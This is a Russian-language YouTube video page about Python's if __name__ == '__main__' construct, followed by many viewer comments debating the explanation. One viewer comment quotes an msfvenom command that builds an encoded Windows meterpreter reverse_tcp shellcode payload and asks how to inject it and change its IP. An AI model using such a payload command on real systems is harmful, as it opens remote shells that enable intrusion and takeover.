Вы должны использовать это в Python | if __name__ == '__main__' (Все фишки и ошибки конструкции)
Вставка
- Опубліковано 5 лют 2025
- ⭐ Курс ООП и Приват канал: www.zproger-sc...
⭐ Телеграм канал: t.me/+EeRrfX3j...
Как пользоваться if _name_ == "__main__", как это работает, зачем нужно использовать в ваших Python проектах? Все эти вопросы мы рассмотрим в данном видео и также сделаем упор на фишки этой конструкции и основные ошибки, которые допускают новички.
Многие изначально не понимают для чего именно её применять, так вот в рамках этого видео мы разберем это на самых подробных примерах, вы сможете полностью понять смысл этой конструкции.
📁 Github: github.com/Zpr...
📁 Все плейлисты с уроками: bit.ly/39GaY89
📁 Связаться со мной: zproger777@gmail.com
📁 Поддержать криптовалютой: github.com/Zpr...
В двух словах: __name__ это переменная, выводящая имя объекта. Если не используется как атрибут какого-то объекта (class.__name__), а просто в файле (__name__), то выводит имя файла. Если вы импортируете typing, например typing то __name__ этого модуля будет равен "typing". Но если вы запустите в терминале сам этот файл, то его __name__ будет равна "__main__". Другим языком, всё, что под конструкцией if __name__=="__main__" выполнится только если вы запустите это файл.
Спасибо!!!!
От души!
Ещё бы подсказал как это использовать в телеграмм боте)
@@LeoPlus а зачем это использовать в телеграм боте?
Спасибо
-никто не уйдёт не поняв, я подготовил много примеров
*называет файл main чтоб объяснить, что такое **__main__*
-сейчас тут все запутано, потому что файл называется main 😂
Ну обьяснение для новичка такое себе.... Ты со своей колокольни мб и понимаешь что говоришь, а для новичка всё равно ничего не обьяснил. Что, зачем и почему.
Ну и чтобы не только критиковать, скажу как я это понял из другого видоса:
Допустим у нас есть два модуля (2 файла .py)
Нам для своих целей нужно запустить первый файл из второго, но не сразу, а после определенных действий во втором файле.
Для этого естественно нам нужно импортировать первый файл во второй.
Тут и раскрывается особенность конструкции name=main
Если данную конструкцию не вписать в импортируемый файл(первый).
То при импорте ПЕРВЫМ делом мы запустим функцию из первого файла, а только потом уже перейдем к коду из второго файла.
Легче конечно на примере обьяснить, но мб кому-то это поможет
Из твоего объяснения понял больше, чем из видел
действительно, понятней, спасибо
а почему нельзя просто прописать import после определенных действий во втором файле, а не сразу? Ведь import как раз таки и исполняет весь код импортируемого файла
@@mahmutoff потому что это основа работы с многофайловыми программами, как только ты начнёшь писать хотя бы больше 50 строк, это пригодится. Объяснение в видео реально очень плохое. Запутанно намешано и так далее. Можно было намного проще и понятнее объяснить
Спасибо за объяснение. Братцы, я с вами, тоже не вдуплял, гуляя по видосам
Автору респект, я начал только учить C# ( ну вот прям совсем только, строки короче ))) и прям понял про что он, чувствую на будущее прям маст хэв к применению... Руки чешутся писать ;)
Значит надо продолжать =)
if ___name___ == "__main__": Нужна в большинстве случаев для тех, кто делает библиотеку.Допустим вы делаете библиотеку для расшифровки/перевода текста.Вы делаете основную функцию main() которая выполняет что то, так сказать для демонстрации.Но если вы импортируете, то эта функция запуститься, а вам это не надо, для этого эта конструкция и существует.
В двух словах:
У вас есть класс и там функция которая удаляет корень винды.И в конце есть функция которая демонстрирует выполнение этого класса, и вызывает эту функцию.Чтобы такого не было, существует эта конструкция.
Спасибо большое. Стал на шаг ближе к пониманию темы.
=)
Спасибо что помог ускорить понимание данной темы ,по книге читал читал не мог понять, видимо мало примеров
Полного понимания не появилось) Я так размечаю точку входа и все. И в чужом коде ищу эту точку, чтобы понять откуда начинать.
Мне кажется, это только в команде (где твориться сущий беспорядок) даёт понять другим программистам, что программа не модуль.
Подмечу что этот комментарий был проигнорирован, и автор отвечает только тем кто понял, по типу "пожалуйста" "рад помочь"
и т.д.
Можно и так делать. Понимание придет уже на практике и во время экспериментов. Я попытался объяснить максимально просто, но всё равно без проработки это нельзя понять сразу
Отвечаю всем, но не сразу, так как много приходит комментариев с разных видео =)
@@zprogerя не знаю что такое модуль и библиотека, а ты мне углубления про эти понятия объясняешь. На кого это видео было расчитано? Не для новичков уж точно
Ты лучший, сидел 2 часа мучился с проблемой, когда импортировал свой код он автоматически начинал запускаться. В итоге все приводило к циклическому импорту)
Наконец то стало понятно!) Спасибо!
Хоть и не особо разбираюсь в программировании, но после переслушивания и пересматривания стало понятнее, почему это используют
Спасибо, хорошо объяснил! Вот тебе коммент для поддержки)
Благодарю!
Браток, такое ощущение, что ты объясняешь сам себе. Так сказать мысли вслух. Учитель из тебя никакой. Ни чего не пончл из того, что ты накидал в кучу 😂
if __name__ == "__main__": Использую, для тестов библиотеки. Т.е. если я пишу библиотеку, но хочу ее протестировать, я просто в ифмэйннейм прописываю тесты функций библиотеки и запускаю библиотеку как программу. Второе, это экранирование в случае многопоточности. При вызове дочернего процесса нельзя запускать повторно код основного процесса и для этого его и помещают в ифнейммэйн
Ни чего не понятно. Не прочитав ни одной книги полностью, задам вопрос. Есть 2 файла: program и functions. Первый это основной и главный файл, второй это набор функций. Импортируем func в prog и вызываем из него в нужном месте нужные функции так: functions.имяфункции(). Или я что то не так понял?
Спасибо за видео!
А я не раз замечал, что эту конструкцию использую одновременно с ООП, что ещё более запутывает, так как подход там не такой, как пишут в учебниках.
Очень крутой гайд! Спасибо огромное!
Полезное видео спасибо )
Рад что понравилось =)
Как я понял, это нужно для того что бы понять модуль это или нет. Если это модуль, мы не запускаем основную функцию main() ( entry point ). Если запускаем это как основной файл, мы выполняем все что стоит после If name = main. Сделано для того что бы случайным образом не помешали выполнению кода, так как все переменные будут глобальные, то есть если в первом файле i = 5 то во втором i = 6, и тогда уже первая переменная будет равна второй, потому что присвоили новое значениe
Большое спасибо за видеоролик!
=)
Ку.
Точно могу сказать, что ролик полезный, особенно для новичков вроде меня. Большое спасибо.
Также хочу узнать, какую ось использует автор?
Благодарю, тут Zorin OS, в новых видео Arch Linux
@@zproger понял, спасибо. Можно узнать причину перехода с Zorin на Arch?
У новичка который освоил только базу языка появилось только больше вопросов, обьяснил ты понятно наверное Только для какого нибудь мидла
Спасибо, наконец-то понял
Спасибо автору за труды, он хороший программист, но объяснять материал увы, не его конек😊
А вот скажите, если импортировать всю библиотеку в программе в которой используется лишь одна функция из библиотеки то при компиляции скомпилируются все функции из библиотеки(т.е. неиспользуемые тоже) или лишь необходимые? Да, я скорее не про питон, но питон тоже интересует как он интерпретирует, всё или только необходимые.
Для чего нужна привязка к "main"? -- для того чтобы при импорте не запускался на выполнение весь код файла (а иначе он обязательно весь отработает, потому как inport подразумевает создание пространства имён в памяти. И происходит это только один раз. Поэтому невозможно "закольцевать" в бесконечный цикл два взаимно импортирующих модуля, код в каждом будет выполнен только первый раз. И поэтому бесполезно пытаться через повторный import восстановить изменённые значения в импортированном пространстве, поможет только importlib.reload().
Заглушка "if main" позволяет файлу запуститься обычным образом при непосредственном обращении, а если не main, то просто на этом факте и останавливается.
Что это означает в практическом смысле? А означает, что если написанный код никаким образом не подразумевается использовать в качестве подгружаемого модуля другой программы, то никакой "if main" НЕ НУЖЕН. Если код подразумевает обязательный автоматический запуск всего своего содержимого, независимо, откуда и как он вызван (как модуль this), то никакой "if main" НЕ НУЖЕН. Если в коде нет ни одной комады на выполнение (как модуль string, где просто набор шаблонов), то никакой "if main" НЕ НУЖЕН. Их там и нет, можете убедиться.
И очень плохой тон -- пытаться натягивать стандарты и определения одного языка на другой. Питон -- не Си, не Раст и не Джава, это даже не ТайпСкрипт, не ПХП и не Бэйсик, это Питон. То же самое касается попыток навязывать "сорок лет назад так делали, деды завещали, просто делай это, не думай, за тебя уже подумали, так принято..." Не принято))) Даже в PEP этого нет, даже стилизаторы типа pycodestyle или mypy (уточню, в режиме --strict он даже за функцию без явно прописанного return хай поднимает) ни мур-мур.
Всегда надо думать и понимать, ДЛЯ ЧЕГО "это", а уже после делать или не делать.
СПАСИБО БОЛЬШОЕ
Надеялся, что это видео после 4-ёх лет разработки убедит меня использовать точку входа Python, но только лишний раз понял, что на моей практике ни разу не пригодилось.
Хороший тон для программиста: использовать эту конструкцию.
Хороший тое для python программиста: Не использовать эту конструкцию, ведь главный файл в хорошо сконструированном проекте всегда один и такой человек никогда не импортирует майн файл
Пишу на срр, не питонист, вскользь с ним сталкивался только, но для общего развития было весьма интересно, подача хорошая. А ко не понял сразу - поймут только опытом и практикой, это не редкость, что суть материаь доходит только через опыт и повторение)
Тоисть if name = main позволяет импортировать функции из кода в другой код я так понел? И даёт возможность смотреть где функция находиться в в main классе или в каком-то другом
Четко 👍
Спасибо =)
Благодарю за ваш труд❤
Накидайте мужику лайков за старания, чего вы жмотитесь, люди.
Спасибо 🥰
С каких это пор main() стала стандартом точки входа в PE-файле? Линковщику можно передать указатель на любую функцию и он её поставит как точку входа. Он вообще не знает ничего про язык, на котором написана программа, у него только список адресов ф-ий и информация о том, какая стартовая.
А уж рассказ про ВСЕ языки вообще ужос-ужос. main() есть в Си-подобных языках, но её нет в перле, пхп и т.д.
Прошло 5 минут, фраза одна и та же уже раз 100 повторена. Где суть?
Спасибо!
=)
Немного не понял, если импортировать модуль с проверкой if __ name__ == '__main__'. То будет ли импортирована функция main() из модуля? Если да, то как это всё будет работать когда в основном скрипте так-же весь код будет обёрнут в функцию main() с вышеописанной проверкой, будут ли какие-то конфликты разных функций main()? Или просто функция из основного скрипта будет всегда перезаписывать импортируемые функции main() из возможных модулей?
Спасибо
=)
Ты самый топовый чувак )
Спасибо, это мотивирует 🙂
Вопрос не по теме: а какой у Вас Линукс на видео? Выглядит красиво
Что за ОС и оболочку используешь?
Zorin OS
Привет! Спасибо за видеоролики. А есть у Питона библиотеки для dsp или fpga?
после слов точка входа , значения и глобал я перстал что то понимать . поздравляю все ушли без понимания
Как ты с помощью этого цикл импорта исправишь? Циклы импорта исправляются по другому.
Пока для данной концструкции вижу только 2 применения, это показать точку входа и задавать уникальные , так сказать резервные, точки входа для уникальных редких задач. (обычно когда проект большой и строится из разных малых подпроектов)
Можно узнать что за плагин с такой цветокоррекцией?
Github dark
@@zproger благодарю
Очень интересно ннп, смотрю уже у второго про это найм Майн, чуть лучше но один фиг смутно всё
Вроде всё достаточно просто
Ну во-первых, это просто декоративно, легче понять где начинается сама программа.
Во-вторых, если ты будешь писать программу, например, для разных видов сортировок и оформишь её через функции, то сможешь в той же программе сделать тесты через if name main, где вызовешь все функции.
Тогда при основном запуске программы, ты будешь тестировать сортировки, а при импорте из другой программы использовать функции, при этом не вызывая тест-кейсы
Вот, вот, точно так же и у меня! Посмотрел много роликов, но так до конца и не понял!
В общем, есть кусок кода. Если он основной файл, то выполняется всё (точнее то, что определено в функции main или какой-ещё явно указанной после разбираемой конструкции). Но этот же файл можно импортировать в другой файл через import, и тогда это будет уже библиотека, и из первого файла можно не всё брать, а только те функции, которые нужны для другого файла. Ну и переменные будут отличаться, как сказано в конце.
@@roazanas читаю ..... вроде понятно, понимаю потом что ничего не понятно)))) за запуск как модуля я понял что код не будет выполнен так как нету условия(нейм) а за точку запуска ничего не понял.... но это пока что
А почему меня должно волновать, что кто-то пытается запустить модуль? Ну пусть запускает, мне то что?
Если вы написали библиотеку а кто-то запускает её напрямую, то нужно как правило выполнить другой код, а тут надо понимать как именно софт был запущен.
А меня одного смутило, что в примере if _name_ ОДИН знак равно, а не два, однако PyCharm не выдал ошибку? Или это не влияет на работу программы?
у него просто оформление такое, знаки сливаются(Как и с __name__, там дублируется нижнее подчёркивание)
Всё мозги разбил на части, всё извилины заплел
Наврал.
Я привык пользоваться
if __name__ == '__main__':
code
и, думал, мне наконец объяснят здесь чем она хуже чем
def main():
code
if __name__ == '__main__':
main()
Но я всё ещё не чувствую дополнительного профита
Так принято
как новичок нихуя не понял но было интересно.
Интересное видео... не нашла в инете.можно ли в принципе посмотреть код любого бота ..например в телеграмме?
Напрямую в телеграмм нельзя)
Только сегодня, при написании забыл добавить if main == name, потом сидел тупил почему не тот код выполняется😂😂😂
Сюрпризы еще будут если забыть добавить при использовании multiprocessing :)
Бубу бубубубубубу приходиться нажимать паузу или медленнее говорилку, следующее видео записуй на х4 для людей с высоким IQ , можно было сказать что делаем функцию main и пишем туда весь код как в любом языке и все, но небольшие скрипты можно и без main писать, это может делать python в отличие от других языков.
Спросил у chat GPT получил короткий, понятный ответ с примерами.
в пхп нет никакой точки входа, все прекрасно работает
классное видео, все понятно)
скажи пожалуйста тему для пайчарма, которую используешь, очень понравилась)
либо Dracula либо Github Dark
@@zproger спасибо)
У меня проблема - хочу запускать процесс из библиотеки!!! А под виндовсом это не работает!
никогда не используйте import *, везде и все об этом пишут, а тут все примеры с import *
А почему?
@@overkkk9007 Может возникнуть конфликт переменных из-за одинаковых названий
Крутой и полезный видос, автору спасибо). if __name__ == "__main__": like_video()
Благодарю =)
Короче прикол в том что это как общая черта всех языков, почти везде есть буква а в алфавите, но там где её нет было бы хорошо хобы уметь её произносить. Наверное для взаймопонимания или хз, традиция проще говоря, это уже связано не с языком программирования, а с нами. Наверное надо C++ подучить чтоб понять лучше в чём дело.
а как таую ошибку в пай чарме исправить
Я ж верно понял, что __name__ даёт название текущего файла(в котором исполняется код на данный момент), __main__ - название файла, с которого запускаются остальные? Если да,то все понял с первого раза
У вас ник с чем связан? А то видос смотрю, но терзают смутные сомнения
Точно не с политикой) нику 3 года
Не пому понять до конца эту тему. И тут тоже не приблизился к полному понимаю.
Ничего бы не понял, если бы не знал.
Для тех кто не знал и не понял:
Если не изменяет память, так как выражение не использую в своих программах, а со временем просто забываются такие вещи, всё, что стоит под этим выражением, не может использоваться для импорта в других файлах.
Хорош
Спасибо =)
Спасибо большое тебе , лучшее объяснение
Благодарю!
Если честно, я так и не понял. Я услышал, что это правило хорошего тона. Позволяет другим программистам понять, что это не модуль. Выявить ошибку, если на линуксе делаешь бесконечные циклы.
Это не перевод, не нужно говорить то, чего не знаете!
До просмотра мало что было понятно . После просмотра и то что знал забыл.
что за тема в чарме?
github dark
А если при импорте переопределяться сама функция _main_ .
Полезно понимать, что при импорте файла исполняется весь код записанный в этом файле. Если мы не хотим, чтобы исполнялся весь код, а хотим, например, только использовать функции объявленные в модуле, тогда и помогает этот иф нейм.
Про то, что только в Пайтоне нет точки входа, а во всех остальных языках есть - чушь.
все не могу привыкнуть к f"", как же приучить то себя
Куда же без функции для хака Пентагона 😁
Вот и я о том же :D
Спасибо, но грустно смотреть очередное видео, где автор говорит, что поймёт каждый, а ты без людей в комментариях реально не разберёшься
спс ролик нужный, продолжай 🔥🔥🔥
Благодарю!
Подскажи пожалуйста, какая у тебя стоит тема в pycharm
Github dark
@@zproger Спасибо
Ничего непонятно, но очень интересно
=)
...назвать модули хотя бы "first_module" и "second_module" не судьба? Прям вот надо было "main", чтоб жизнь медом не казалась, да?
ты только больше запутал. зачем импортируемый фаил в примере называть main а основной mylib и выдавать сообщение что это не либа... бред какой-то. да и вообще для более понятного объяснения можно было не называть фаил main чтобы не было путаницы у тех кто не понимает ещё о чём речь о файле, о имени в глобал переменных или о чём вообще. я в итоге разобрался, но ты только усложнил это
А вы делали инъекцию шел кода? потому что я сделал все как в книге "Gray Hat Python" а у меня совсем не работает у меня Python 3.8.9 . Я генерю шелкоды через msfvenom который в Kali Linux на флешке
как то так msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread lhost= lport=6982 -b '\x00\x0a\x0d' --encrypt base64 -f c там еще нужно заменить айпи адрес скриптом через replace а я не знаю как это сделать если шелкод закодирован
Это сильно зависит от архитектуры и прочих факторов. Читал эту книжку и пробовал делать примеры, правда там есть тонкости и надо ассемблер понимать хотя бы на базовом уровне.
@@zproger А если я устанавливаю pyenvом другую версию питона и pyenv local 2.5.1, а потом создаю новое виртуальное окружение python -m venv mynewenv то мне приходиться менять вручную настройки в pyvenv.cfg и activate.bat потому что оно не подхватывает настройки новоустановленного питона и взяло PYTHONPATH из системных переменных установленного питона на диске C так и должно быть?
По факту это защита от обхода обфускации
Что за дистрибутив и рабочее окружение?
Zorin OS
Как сделать нижнне подчеркивание ровным в pycbarm'е? У меня просто if __main__ ... выглядит, прямо как в названии видео :(
Ничего не понял, но попробуй поменять тему в настройках, она вместе с шрифтом меняется
Оно так по дефолту в плагине MaterialUI
Спасибо тебе добрый человек, вместе мы становимся лучше)
Только запутал, на середине ролика вырубил ибо начал терять смысл.
Ты сказал что никто не уйдёт отсюда ничего не поняв, но я нихрена не понял ((
Как так :0
Тема не для новичков. С третьего раза понял. Спасибо
Главное что поняли, это важно =)
Назвав файл мэйн всё сильно запуталось, сам понял только с 3 раза😅
У Вас gnome? :)
Это стандартная оболочка от Zorin OS
Одна строка, а столько смысла
Очень интересно, но пока я все равно не понял ничего =))
Что именно не понятно?
Спасибо за видео, но ты что-то быстро так говоришь. 😢
Стараюсь контролировать скорость речи, но не получается.
Говорю как можно медленней, потом смотрю запись а там все 200 бпм.
@@zproger все равно спасибо, ты - Гуру.
ппц все эти функции .. (( а потом не знаешь как из одной функции передать переменную в другую (( а мейн нейм вообще для меня темный лес все равно ((
на середине я уснул.
функция хака пентагона)))
😎😎
Я впервые столкнулся с if __name__=="__main__" когда начал работать с потоками. Потому что они без этой строчки не работают. Но теперь я не знаю как заставить их работать не в отдельном скрипте, а как раз как библиотека потому что выполняя из другого скрипта там уже name не main
Если как модуль, if __name__ != "__main__"
Объяснение очень интересное, но я хочу уточнить небольшие детали.
К примеру, я создаю файл "renders_text_color.py", записываю туда все функции по рендерингу текста в определенных сценах игры, а в конце кода добавляю:
if __name__ == '__main__':
pass
А в другом файле я импортирую "from renders_text_color import *" прописываю сцены, и в каждой сцене я беру функцию и импортированного файла для отображения текста.
А теперь вопрос:
1. Стоит ли мне установить какое-либо действие вместо "pass", если я собираюсь в том файле хранить только функции для использования в основном коде?
2. И что будет происходить в основном коде, если я буду указывать функцию из того файла в определенных сценах, но в том файле не пропишу эти две строчки?
P.S.
Я в программировании еще новичок, образование по программировании не имею, английским владею только на 30 из 100 баллов.
Буду раз, если сможете мне объяснить так, чтоб даже дурак понял.
ничего не будет, вообще не нужно писать тогда эти 2 строчки.
Всё равно непонятно, не хватает подробного разбора примеров.
Так а какие примеры? В реальных проектах просто заглушка вставляется и всё